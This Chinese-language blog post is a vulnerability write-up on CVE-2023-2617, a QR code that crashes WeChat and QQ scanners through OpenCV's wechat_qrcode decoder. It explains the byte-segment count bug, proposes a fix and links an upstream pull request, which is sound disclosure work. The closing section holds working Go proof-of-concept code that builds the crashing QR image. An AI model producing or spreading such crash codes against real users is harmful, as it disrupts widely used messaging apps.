让微信崩溃的二维码
更新:漏洞编号 CVE-2023-2617
早上看见了那张说是能让微信和QQ扫码闪退的二维码,试验了下果然是这样。这里放张自制的
有一些人就开始上手机调之类的,手机上的那一坨C++编译出来以后鬼能看得懂啊,而且微信的扫码代码是开源的,就在 https://github.com/opencv/opencv_contrib/blob/4.x/modules/wechat_qrcode/ ,直接看就好了。
配置环境,上代码调试一下
// .......
auto path = R"(C:\Users\Azuk\Documents\code\qrtest\build\Debug\a.png)";
img = imread(path);
// ......
auto res = detector->detectAndDecode(img, points);
// ......
调试器一挂马上看见问题,在 wechat_qrcode/src/zxing/qrcode/decoder/decoded_bit_stream_parser.cpp:198 行,有
// try to repair count data if count data is invalid
if (count * 8 > available) {
count = (available + 7 / 8);
}
ArrayRef<char> bytes_(count);
char* readBytes = &(*bytes_)[0]; // CRASH HERE
for (int i = 0; i < count; i++) {
// readBytes[i] = (char) bits.readBits(8);
int readBits = available < 8 ? available : 8;
readBytes[i] = (char)bits.readBits(readBits, err_handler);
}
count 为 0,这个时候还在分配 readBytes 读了它第 1 个元素,所以崩溃了。简单修复方法就是 count <= 0 那么 return 掉。
为什么会这样呢?二维码中数据分为不同区段(segment),其中有一个比较灵活的字节段(byte segment)。 在二维码原始信息中字节段这样储存:
Version 1-9:
Mode | Char Count | Data |
---|---|---|
0100 (Byte) | 00000001 (8 bits in Byte or Kanji Mode) | (…) |
所以当我们构建一个这样的二维码:
(正常段)+(字节模式指示位 4 + 长度位 00000001(8位)) ,并让这段数据刚好占用完二维码的所有数据容量,这样扫码的程序看到字符数量应该有1,会来读这个段,但之后又没有数据,从而造成了上面的错误。
为什么要用二维码的字节段呢?因为字节段的长度位正好是8位,其实日语段用的也是8位,同样可以。数字模式是10位、字符数字段是9位,触发不了这个 bug (但没看有没有其他的 bug)。
在 opencv_contrib 那提交了个简单的 pr : https://github.com/opencv/opencv_contrib/pull/3479
刚看了一下自己手速很快啊,其他人在后面也交了 pr ,没再看他们怎么搞的了,感觉够用
恶意二维码 POC:
用到了一些 github.com/skip2/go-qrcode 的私有代码:
func main() {
qrcode.GenEvil(256, "qr.png")
}
func GenEvil(size int, filename string) error {
var q *QRCode
var encoder *dataEncoder
var encoded *bitset.Bitset
var chosenVersion *qrCodeVersion
encoder = &dataEncoder{
minVersion: 1,
maxVersion: 1,
numericModeIndicator: bitset.New(b0, b0, b0, b1),
alphanumericModeIndicator: bitset.New(b0, b0, b1, b0),
byteModeIndicator: bitset.New(b0, b1, b0, b0),
numNumericCharCountBits: 10,
numAlphanumericCharCountBits: 9,
numByteCharCountBits: 8,
}
encoded = bitset.New()
// padding
encoded.Append(encoder.modeIndicator(dataModeByte))
l := 16
encoded.AppendUint32(uint32(l), encoder.charCountBits(dataModeByte))
for i := 0; i < l; i++ {
encoded.AppendByte(byte(1), 8)
}
// evil
encoded.Append(encoder.modeIndicator(dataModeByte))
encoded.AppendUint32(uint32(1), encoder.charCountBits(dataModeByte))
//encoded.AppendByte(byte(0), 8)
chosenVersion = &qrCodeVersion{
version: 1,
level: 0,
dataEncoderType: 0,
block: []block{{1, 26, 19}},
numRemainderBits: 0,
}
fmt.Printf("%+v", chosenVersion)
q = &QRCode{
Content: "",
Level: Low,
VersionNumber: chosenVersion.version,
ForegroundColor: color.Black,
BackgroundColor: color.White,
encoder: encoder,
data: encoded,
version: *chosenVersion,
}
return q.WriteFile(size, filename)
}